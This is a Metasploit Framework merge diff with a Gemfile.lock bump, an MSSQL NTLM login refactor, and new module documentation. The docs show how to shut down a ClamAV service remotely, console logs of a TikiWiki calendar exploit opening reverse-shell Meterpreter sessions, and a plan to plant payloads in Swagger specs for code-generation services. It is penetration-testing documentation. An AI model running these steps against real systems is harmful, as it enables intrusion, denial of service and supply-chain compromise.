Merge branch 'master' into feature/MS-1688/net-ssh-cleanup
commit
ee2d1d4fdc
|
@ -1,7 +1,7 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.12.8)
|
metasploit-framework (4.12.10)
|
||||||
actionpack (~> 4.2.6)
|
actionpack (~> 4.2.6)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -29,12 +29,14 @@ PATH
|
||||||
rb-readline-r7
|
rb-readline-r7
|
||||||
recog
|
recog
|
||||||
redcarpet
|
redcarpet
|
||||||
|
rex-java
|
||||||
rex-powershell
|
rex-powershell
|
||||||
rex-random_identifier
|
rex-random_identifier
|
||||||
rex-registry
|
rex-registry
|
||||||
rex-text
|
rex-text
|
||||||
rex-zip
|
rex-zip
|
||||||
robots
|
robots
|
||||||
|
rubyntlm
|
||||||
rubyzip
|
rubyzip
|
||||||
sqlite3
|
sqlite3
|
||||||
tzinfo
|
tzinfo
|
||||||
|
@ -211,6 +213,7 @@ GEM
|
||||||
recog (2.0.21)
|
recog (2.0.21)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.3.4)
|
redcarpet (3.3.4)
|
||||||
|
rex-java (0.1.2)
|
||||||
rex-powershell (0.1.0)
|
rex-powershell (0.1.0)
|
||||||
rex-random_identifier
|
rex-random_identifier
|
||||||
rex-text
|
rex-text
|
||||||
|
|
|
@ -0,0 +1,91 @@
|
||||||
|
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
|
||||||
|
malicious threats.
|
||||||
|
|
||||||
|
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
|
||||||
|
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
|
||||||
|
able to shut down the service.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
To install ClamAV from Ubuntu:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo apt-get install clamav clamav-daemon
|
||||||
|
$ sudo freshclam
|
||||||
|
```
|
||||||
|
|
||||||
|
You might also need to add the following to /etc/clamav/clamd.conf:
|
||||||
|
|
||||||
|
```
|
||||||
|
# TCP port address.
|
||||||
|
# Default: no
|
||||||
|
TCPSocket 3310
|
||||||
|
|
||||||
|
# TCP address.
|
||||||
|
# By default we bind to INADDR_ANY, probably not wise.
|
||||||
|
# Enable the following to provide some degree of protection
|
||||||
|
# from the outside world.
|
||||||
|
# Default: no
|
||||||
|
TCPAddr 0.0.0.0
|
||||||
|
|
||||||
|
# Maximum length the queue of pending connections may grow to.
|
||||||
|
# Default: 15
|
||||||
|
MaxConnectionQueueLength 30
|
||||||
|
|
||||||
|
# Clamd uses FTP-like protocol to receive data from remote clients.
|
||||||
|
# If you are using clamav-milter to balance load between remote clamd daemons
|
||||||
|
# on firewall servers you may need to tune the options below.
|
||||||
|
|
||||||
|
# Close the connection when the data size limit is exceeded.
|
||||||
|
# The value should match your MTA's limit for a maximum attachment size.
|
||||||
|
# Default: 10M
|
||||||
|
StreamMaxLength 55M
|
||||||
|
|
||||||
|
# Limit port range.
|
||||||
|
# Default: 1024
|
||||||
|
#StreamMinPort 30000
|
||||||
|
# Default: 2048
|
||||||
|
#StreamMaxPort 32000
|
||||||
|
|
||||||
|
# Maximum number of threads running at the same time.
|
||||||
|
# Default: 10
|
||||||
|
MaxThreads 50
|
||||||
|
|
||||||
|
# Waiting for data from a client socket will timeout after this time (seconds).
|
||||||
|
# Value of 0 disables the timeout.
|
||||||
|
# Default: 120
|
||||||
|
ReadTimeout 300
|
||||||
|
|
||||||
|
# Waiting for a new job will timeout after this time (seconds).
|
||||||
|
# Default: 30
|
||||||
|
#IdleTimeout 60
|
||||||
|
|
||||||
|
# Maximum depth directories are scanned at.
|
||||||
|
# Default: 15
|
||||||
|
#MaxDirectoryRecursion 20
|
||||||
|
```
|
||||||
|
|
||||||
|
And finally, start the service:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo /etc/init.d/clamav-daemon start
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
clamav_control comes with two actions:
|
||||||
|
|
||||||
|
**VERSION**
|
||||||
|
|
||||||
|
This is the default action, and shows you the ClamAV version. Output example:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(clamav_control) > run
|
||||||
|
|
||||||
|
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
|
||||||
|
```
|
||||||
|
|
||||||
|
**SHUTDOWN**
|
||||||
|
|
||||||
|
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
|
||||||
|
whether is service is down or not.
|
|
@ -0,0 +1,103 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||||
|
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||||
|
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||||
|
|
||||||
|
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||||
|
|
||||||
|
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||||
|
2. The linked app Exploit-DB has is 14.2.
|
||||||
|
3. Its verified on Exploit-DB.
|
||||||
|
|
||||||
|
vs
|
||||||
|
|
||||||
|
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||||
|
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||||
|
|
||||||
|
### Creating A Testing Environment
|
||||||
|
|
||||||
|
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||||
|
2. `apt-get install php-xml`
|
||||||
|
3. Normal php install at that point!
|
||||||
|
4. After install, login as admin:admin
|
||||||
|
5. Go to the Control Panels
|
||||||
|
6. Click Features
|
||||||
|
7. Enable Calendar under Main feature
|
||||||
|
8. Click Apply
|
||||||
|
|
||||||
|
#### Permissions
|
||||||
|
|
||||||
|
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||||
|
|
||||||
|
1. Log in as admin
|
||||||
|
2. From the top dropdown select permissions
|
||||||
|
3. Check Anonymous near the top
|
||||||
|
4. Click Assign
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the software as documented above
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||||
|
4. Do: `set rhost 10.10.10.10`
|
||||||
|
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||||
|
6. Do: `set payload php/bind_perl`
|
||||||
|
7. Do: `set verbose true`
|
||||||
|
8. Do: `check`
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] Attempting Login
|
||||||
|
[+] Login Successful!
|
||||||
|
[+] 10.10.10.10:80 The target is vulnerable.
|
||||||
|
```
|
||||||
|
|
||||||
|
9. Do: `exploit`
|
||||||
|
10. You should get a shell
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||||
|
[*] Attempting Login
|
||||||
|
[+] Login Successful!
|
||||||
|
[*] Sending malicious calendar view packet
|
||||||
|
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||||
|
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**PASSWORD**
|
||||||
|
|
||||||
|
Password is set at first login. Default for admin is 'admin'.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Example running against unauthenticated calendar v14.1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/tiki_calendar_exec
|
||||||
|
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||||
|
rhost => 192.168.2.190
|
||||||
|
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||||
|
targeturi => /t14_1/
|
||||||
|
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||||
|
payload => php/meterpreter/reverse_tcp
|
||||||
|
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||||
|
lhost => 192.168.2.229
|
||||||
|
msf exploit(tiki_calendar_exec) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(tiki_calendar_exec) > set username ''
|
||||||
|
username =>
|
||||||
|
msf exploit(tiki_calendar_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||||
|
[*] Sending malicious calendar view packet
|
||||||
|
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||||
|
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : tikiwiki
|
||||||
|
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||||
|
Meterpreter : php/php
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,115 @@
|
||||||
|
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||||
|
|
||||||
|
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||||
|
|
||||||
|
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||||
|
|
||||||
|
```
|
||||||
|
use exploit/multi/handler
|
||||||
|
set PAYLOAD nodejs/shell_reverse_tcp
|
||||||
|
|
||||||
|
set LHOST 192.168.68.138
|
||||||
|
set LPORT 4444
|
||||||
|
|
||||||
|
run
|
||||||
|
```
|
||||||
|
3. Pick a target
|
||||||
|
|
||||||
|
## Targets
|
||||||
|
|
||||||
|
**NodeJS**
|
||||||
|
|
||||||
|
This attack injects a payload into javascript by terminating a URL path string.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD nodejs/shell_reverse_tcp
|
||||||
|
set INFO_VERSION "1.0.0"
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**PHP**
|
||||||
|
|
||||||
|
This attack injects a payload into PHP multiline comment area.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD php/meterpreter/reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**ruby**
|
||||||
|
|
||||||
|
This attack injects a payload into ruby multiline comment area.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD ruby/shell_reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**Java**
|
||||||
|
|
||||||
|
This attack injects a payload into Java by terminating a URL path string.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Test
|
||||||
|
|
||||||
|
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Effective against services with either these dependencies
|
||||||
|
|
||||||
|
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||||
|
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||||
|
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||||
|
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||||
|
|
||||||
|
**Possible Attack approach.**
|
||||||
|
|
||||||
|
1. Research the target environment and component dependencies.
|
||||||
|
2. Setup appropriate payload callback listener.
|
||||||
|
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||||
|
|
||||||
|
|
||||||
|
**Against a webservice (2nd order attack / blind code-gen)**
|
||||||
|
|
||||||
|
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||||
|
|
||||||
|
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||||
|
5. Wait for callback handler event.
|
||||||
|
|
||||||
|
**Against a code repository or public hosting of spec**
|
||||||
|
|
||||||
|
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||||
|
|
||||||
|
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||||
|
5. Wait for callback handler event.
|
||||||
|
|
|
@ -9,11 +9,6 @@ module Metasploit
|
||||||
extend ActiveSupport::Concern
|
extend ActiveSupport::Concern
|
||||||
include Metasploit::Framework::Tcp::Client
|
include Metasploit::Framework::Tcp::Client
|
||||||
|
|
||||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
|
||||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
|
||||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|
||||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||||
|
@ -21,23 +16,23 @@ module Metasploit
|
||||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||||
|
|
||||||
# Packet Type
|
# Packet Type
|
||||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||||
TYPE_RPC = 3 # (Client) RPC
|
TYPE_RPC = 3 # (Client) RPC
|
||||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||||
|
|
||||||
# Status
|
# Status
|
||||||
STATUS_NORMAL = 0x00
|
STATUS_NORMAL = 0x00
|
||||||
STATUS_END_OF_MESSAGE = 0x01
|
STATUS_END_OF_MESSAGE = 0x01
|
||||||
STATUS_IGNORE_EVENT = 0x02
|
STATUS_IGNORE_EVENT = 0x02
|
||||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -55,14 +50,14 @@ module Metasploit
|
||||||
idx = 0
|
idx = 0
|
||||||
pkt = ''
|
pkt = ''
|
||||||
pkt_hdr = ''
|
pkt_hdr = ''
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_TDS7_LOGIN, #type
|
TYPE_TDS7_LOGIN, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
0x0000, # SPID
|
0x0000, # SPID
|
||||||
0x01, # PacketID (unused upon specification
|
0x01, # PacketID (unused upon specification
|
||||||
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
pkt << [
|
pkt << [
|
||||||
|
@ -85,18 +80,18 @@ module Metasploit
|
||||||
sname = Rex::Text.to_unicode( rhost )
|
sname = Rex::Text.to_unicode( rhost )
|
||||||
dname = Rex::Text.to_unicode( db )
|
dname = Rex::Text.to_unicode( db )
|
||||||
|
|
||||||
ntlm_options = {
|
|
||||||
:signing => false,
|
|
||||||
:usentlm2_session => use_ntlm2_session,
|
|
||||||
:use_ntlmv2 => use_ntlmv2,
|
|
||||||
:send_lm => send_lm,
|
|
||||||
:send_ntlm => send_ntlm
|
|
||||||
}
|
|
||||||
|
|
||||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
|
||||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||||
|
|
||||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
ntlm_client = ::Net::NTLM::Client.new(
|
||||||
|
user,
|
||||||
|
pass,
|
||||||
|
workstation: workstation_name,
|
||||||
|
domain: domain_name,
|
||||||
|
)
|
||||||
|
type1 = ntlm_client.init_context
|
||||||
|
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||||
|
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||||
|
ntlmsspblob = type1.serialize
|
||||||
|
|
||||||
idx = pkt.size + 50 # lengths below
|
idx = pkt.size + 50 # lengths below
|
||||||
|
|
||||||
|
@ -137,9 +132,9 @@ module Metasploit
|
||||||
pkt << ntlmsspblob
|
pkt << ntlmsspblob
|
||||||
|
|
||||||
# Total packet length
|
# Total packet length
|
||||||
pkt[0,4] = [pkt.length].pack('V')
|
pkt[0, 4] = [pkt.length].pack('V')
|
||||||
|
|
||||||
pkt_hdr[2] = pkt.length + 8
|
pkt_hdr[2] = pkt.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||||
|
|
||||||
|
@ -147,64 +142,38 @@ module Metasploit
|
||||||
# has a strange behavior that differs from the specifications
|
# has a strange behavior that differs from the specifications
|
||||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||||
|
|
||||||
if tdsencryption == true
|
if tdsencryption == true
|
||||||
proxy = TDSSSLProxy.new(sock)
|
proxy = TDSSSLProxy.new(sock)
|
||||||
proxy.setup_ssl
|
proxy.setup_ssl
|
||||||
resp = proxy.send_recv(pkt)
|
resp = proxy.send_recv(pkt, 15, false)
|
||||||
else
|
else
|
||||||
resp = mssql_send_recv(pkt)
|
resp = mssql_send_recv(pkt, 15, false)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Get default data
|
# Strip the TDS header
|
||||||
begin
|
resp = resp[3..-1]
|
||||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||||
# a domain.length < 3 will hit this
|
type3_blob = type3.serialize
|
||||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
challenge_key = blob_data[:challenge_key]
|
|
||||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
|
||||||
#netbios name
|
|
||||||
default_name = blob_data[:default_name] || ''
|
|
||||||
#netbios domain
|
|
||||||
default_domain = blob_data[:default_domain] || ''
|
|
||||||
#dns name
|
|
||||||
dns_host_name = blob_data[:dns_host_name] || ''
|
|
||||||
#dns domain
|
|
||||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
|
||||||
#Client time
|
|
||||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
|
||||||
|
|
||||||
spnopt = {:use_spn => send_spn, :name => rhost}
|
|
||||||
|
|
||||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
|
||||||
domain_name, default_name, default_domain,
|
|
||||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
|
||||||
spnopt, ntlm_options)
|
|
||||||
|
|
||||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
|
||||||
|
|
||||||
# Create an SSPIMessage
|
# Create an SSPIMessage
|
||||||
idx = 0
|
idx = 0
|
||||||
pkt = ''
|
pkt = ''
|
||||||
pkt_hdr = ''
|
pkt_hdr = ''
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_SSPI_MESSAGE, #type
|
TYPE_SSPI_MESSAGE, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
0x0000, # SPID
|
0x0000, # SPID
|
||||||
0x01, # PacketID
|
0x01, # PacketID
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
pkt_hdr[2] = ntlmssp.length + 8
|
pkt_hdr[2] = type3_blob.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||||
|
|
||||||
if self.tdsencryption == true
|
if self.tdsencryption == true
|
||||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
resp = mssql_ssl_send_recv(pkt, proxy)
|
||||||
proxy.cleanup
|
proxy.cleanup
|
||||||
proxy = nil
|
proxy = nil
|
||||||
else
|
else
|
||||||
|
@ -283,7 +252,7 @@ module Metasploit
|
||||||
pkt << dname
|
pkt << dname
|
||||||
|
|
||||||
# Total packet length
|
# Total packet length
|
||||||
pkt[0,4] = [pkt.length].pack('V')
|
pkt[0, 4] = [pkt.length].pack('V')
|
||||||
|
|
||||||
# Embedded packet lengths
|
# Embedded packet lengths
|
||||||
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
||||||
|
@ -294,7 +263,7 @@ module Metasploit
|
||||||
if self.tdsencryption == true
|
if self.tdsencryption == true
|
||||||
proxy = TDSSSLProxy.new(sock)
|
proxy = TDSSSLProxy.new(sock)
|
||||||
proxy.setup_ssl
|
proxy.setup_ssl
|
||||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
resp = mssql_ssl_send_recv(pkt, proxy)
|
||||||
proxy.cleanup
|
proxy.cleanup
|
||||||
proxy = nil
|
proxy = nil
|
||||||
else
|
else
|
||||||
|
@ -304,7 +273,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
|
|
||||||
info = {:errors => []}
|
info = {:errors => []}
|
||||||
info = mssql_parse_reply(resp,info)
|
info = mssql_parse_reply(resp, info)
|
||||||
|
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
|
@ -316,17 +285,17 @@ module Metasploit
|
||||||
# Parse an "environment change" TDS token
|
# Parse an "environment change" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_env(data, info)
|
def mssql_parse_env(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
type = buff.slice!(0,1).unpack('C')[0]
|
type = buff.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
nval = ''
|
nval = ''
|
||||||
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||||
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
|
||||||
|
|
||||||
oval = ''
|
oval = ''
|
||||||
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||||
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
|
||||||
|
|
||||||
info[:envs] ||= []
|
info[:envs] ||= []
|
||||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||||
|
@ -337,7 +306,7 @@ module Metasploit
|
||||||
# Parse a "ret" TDS token
|
# Parse a "ret" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_ret(data, info)
|
def mssql_parse_ret(data, info)
|
||||||
ret = data.slice!(0,4).unpack('N')[0]
|
ret = data.slice!(0, 4).unpack('N')[0]
|
||||||
info[:ret] = ret
|
info[:ret] = ret
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -346,7 +315,7 @@ module Metasploit
|
||||||
# Parse a "done" TDS token
|
# Parse a "done" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_done(data, info)
|
def mssql_parse_done(data, info)
|
||||||
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -355,11 +324,11 @@ module Metasploit
|
||||||
# Parse an "error" TDS token
|
# Parse an "error" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_error(data, info)
|
def mssql_parse_error(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
|
|
||||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||||
emsg = buff.slice!(0,elen * 2)
|
emsg = buff.slice!(0, elen * 2)
|
||||||
emsg.gsub!("\x00", '')
|
emsg.gsub!("\x00", '')
|
||||||
|
|
||||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||||
|
@ -370,14 +339,14 @@ module Metasploit
|
||||||
# Parse an "information" TDS token
|
# Parse an "information" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_info(data, info)
|
def mssql_parse_info(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
|
|
||||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||||
emsg = buff.slice!(0,elen * 2)
|
emsg = buff.slice!(0, elen * 2)
|
||||||
